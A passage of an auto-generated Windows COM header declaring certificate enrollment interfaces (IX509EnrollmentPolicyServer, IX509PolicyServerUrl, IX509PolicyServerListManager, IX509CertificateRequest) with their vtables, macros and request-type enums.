*GetFriendlyName )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIsDefaultCEP )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUseClientId )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAllowUnTrustedCA )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCachePath )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCacheDir )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthFlags )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetCredential )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ LONG hWndParent,\n            /* [in] */ X509EnrollmentAuthFlags flag,\n            /* [in] */ __RPC__in BSTR strCredential,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryChanges )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeImport )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ VARIANT val);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ X509EnrollmentPolicyExportFlags exportFlags,\n            /* [retval][out] */ __RPC__out VARIANT *pVal);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509EnrollmentPolicyServer * This,\n            /* [in] */ DWORD value);\n        \n        END_INTERFACE\n    } IX509EnrollmentPolicyServerVtbl;\n\n    interface IX509EnrollmentPolicyServer\n    {\n        CONST_VTBL struct IX509EnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentPolicyServer_Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,bstrPolicyServerUrl,bstrPolicyServerId,authFlags,fIsUnTrusted,context) ) \n\n#define IX509EnrollmentPolicyServer_LoadPolicy(This,option)\t\\\n    ( (This)->lpVtbl -> LoadPolicy(This,option) ) \n\n#define IX509EnrollmentPolicyServer_GetTemplates(This,pTemplates)\t\\\n    ( (This)->lpVtbl -> GetTemplates(This,pTemplates) ) \n\n#define IX509EnrollmentPolicyServer_GetCAsForTemplate(This,pTemplate,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAsForTemplate(This,pTemplate,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_GetCAs(This,ppCAs)\t\\\n    ( (This)->lpVtbl -> GetCAs(This,ppCAs) ) \n\n#define IX509EnrollmentPolicyServer_Validate(This)\t\\\n    ( (This)->lpVtbl -> Validate(This) ) \n\n#define IX509EnrollmentPolicyServer_GetCustomOids(This,ppObjectIds)\t\\\n    ( (This)->lpVtbl -> GetCustomOids(This,ppObjectIds) ) \n\n#define IX509EnrollmentPolicyServer_GetNextUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetNextUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetLastUpdateTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> GetLastUpdateTime(This,pDate) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetFriendlyName(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetIsDefaultCEP(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetIsDefaultCEP(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetUseClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUseClientId(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAllowUnTrustedCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAllowUnTrustedCA(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCachePath(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCachePath(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetCacheDir(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetCacheDir(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_GetAuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthFlags(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_SetCredential(This,hWndParent,flag,strCredential,strPassword)\t\\\n    ( (This)->lpVtbl -> SetCredential(This,hWndParent,flag,strCredential,strPassword) ) \n\n#define IX509EnrollmentPolicyServer_QueryChanges(This,pValue)\t\\\n    ( (This)->lpVtbl -> QueryChanges(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_InitializeImport(This,val)\t\\\n    ( (This)->lpVtbl -> InitializeImport(This,val) ) \n\n#define IX509EnrollmentPolicyServer_Export(This,exportFlags,pVal)\t\\\n    ( (This)->lpVtbl -> Export(This,exportFlags,pVal) ) \n\n#define IX509EnrollmentPolicyServer_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509EnrollmentPolicyServer_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerUrl_INTERFACE_DEFINED__\n#define __IX509PolicyServerUrl_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerUrl */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerUrl;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204a-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerUrl : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Url( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Url( \n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Default( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Default( \n            /* [in] */ VARIANT_BOOL value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Flags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Flags( \n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthFlags( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AuthFlags( \n            /* [in] */ X509EnrollmentAuthFlags Flags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Cost( \n            /* [retval][out] */ __RPC__out DWORD *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Cost( \n            /* [in] */ DWORD value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetStringProperty( \n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE UpdateRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RemoveFromRegistry( \n            /* [in] */ X509CertificateEnrollmentContext context) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerUrlVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerUrl * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerUrl * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Url )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Default )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ VARIANT_BOOL value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Flags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Flags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509EnrollmentAuthFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ DWORD value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *UpdateRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        END_INTERFACE\n    } IX509PolicyServerUrlVtbl;\n\n    interface IX509PolicyServerUrl\n    {\n        CONST_VTBL struct IX509PolicyServerUrlVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerUrl_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerUrl_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerUrl_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerUrl_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerUrl_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerUrl_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerUrl_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerUrl_Initialize(This,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context) ) \n\n#define IX509PolicyServerUrl_get_Url(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Url(This,ppValue) ) \n\n#define IX509PolicyServerUrl_put_Url(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Url(This,pValue) ) \n\n#define IX509PolicyServerUrl_get_Default(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Default(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Default(This,value)\t\\\n    ( (This)->lpVtbl -> put_Default(This,value) ) \n\n#define IX509PolicyServerUrl_get_Flags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Flags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Flags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_Flags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_AuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthFlags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_AuthFlags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_AuthFlags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#define IX509PolicyServerUrl_GetStringProperty(This,propertyId,ppValue)\t\\\n    ( (This)->lpVtbl -> GetStringProperty(This,propertyId,ppValue) ) \n\n#define IX509PolicyServerUrl_SetStringProperty(This,propertyId,pValue)\t\\\n    ( (This)->lpVtbl -> SetStringProperty(This,propertyId,pValue) ) \n\n#define IX509PolicyServerUrl_UpdateRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> UpdateRegistry(This,context) ) \n\n#define IX509PolicyServerUrl_RemoveFromRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> RemoveFromRegistry(This,context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerUrl_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_INTERFACE_DEFINED__\n#define __IX509PolicyServerListManager_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerListManager */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerListManager;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerListManager : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerListManagerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerListManager * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        END_INTERFACE\n    } IX509PolicyServerListManagerVtbl;\n\n    interface IX509PolicyServerListManager\n    {\n        CONST_VTBL struct IX509PolicyServerListManagerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerListManager_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerListManager_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerListManager_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerListManager_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerListManager_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerListManager_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerListManager_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerListManager_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509PolicyServerListManager_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509PolicyServerListManager_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509PolicyServerListManager_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509PolicyServerListManager_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509PolicyServerListManager_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509PolicyServerListManager_Initialize(This,context,Flags)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context,Flags) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerListManager_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0075 */\n/* [local] */ \n\ntypedef \nenum X509RequestType\n    {\n        TypeAny\t= 0,\n        TypePkcs10\t= 1,\n        TypePkcs7\t= 2,\n        TypeCmc\t= 3,\n        TypeCertificate\t= 4\n    } \tX509RequestType;\n\ntypedef \nenum X509RequestInheritOptions\n    {\n        InheritDefault\t= 0,\n        InheritNewDefaultKey\t= 0x1,\n        InheritNewSimilarKey\t= 0x2,\n        InheritPrivateKey\t= 0x3,\n        InheritPublicKey\t= 0x4,\n        InheritKeyMask\t= 0xf,\n        InheritNone\t= 0x10,\n        InheritRenewalCertificateFlag\t= 0x20,\n        InheritTemplateFlag\t= 0x40,\n        InheritSubjectFlag\t= 0x80,\n        InheritExtensionsFlag\t= 0x100,\n        InheritSubjectAltNameFlag\t= 0x200,\n        InheritValidityPeriodFlag\t= 0x400,\n        InheritReserved80000000\t= 0x80000000\n    } \tX509RequestInheritOptions;\n\ntypedef \nenum InnerRequestLevel\n    {\n        LevelInnermost\t= 0,\n        LevelNext\t= 1\n    } \tInnerRequestLevel;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0075_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0075_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequest_INTERFACE_DEFINED__\n#define __IX509CertificateRequest_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequest */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequest;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab341-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequest : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Encode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ResetForEncode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetInnerRequest( \n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509RequestType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual 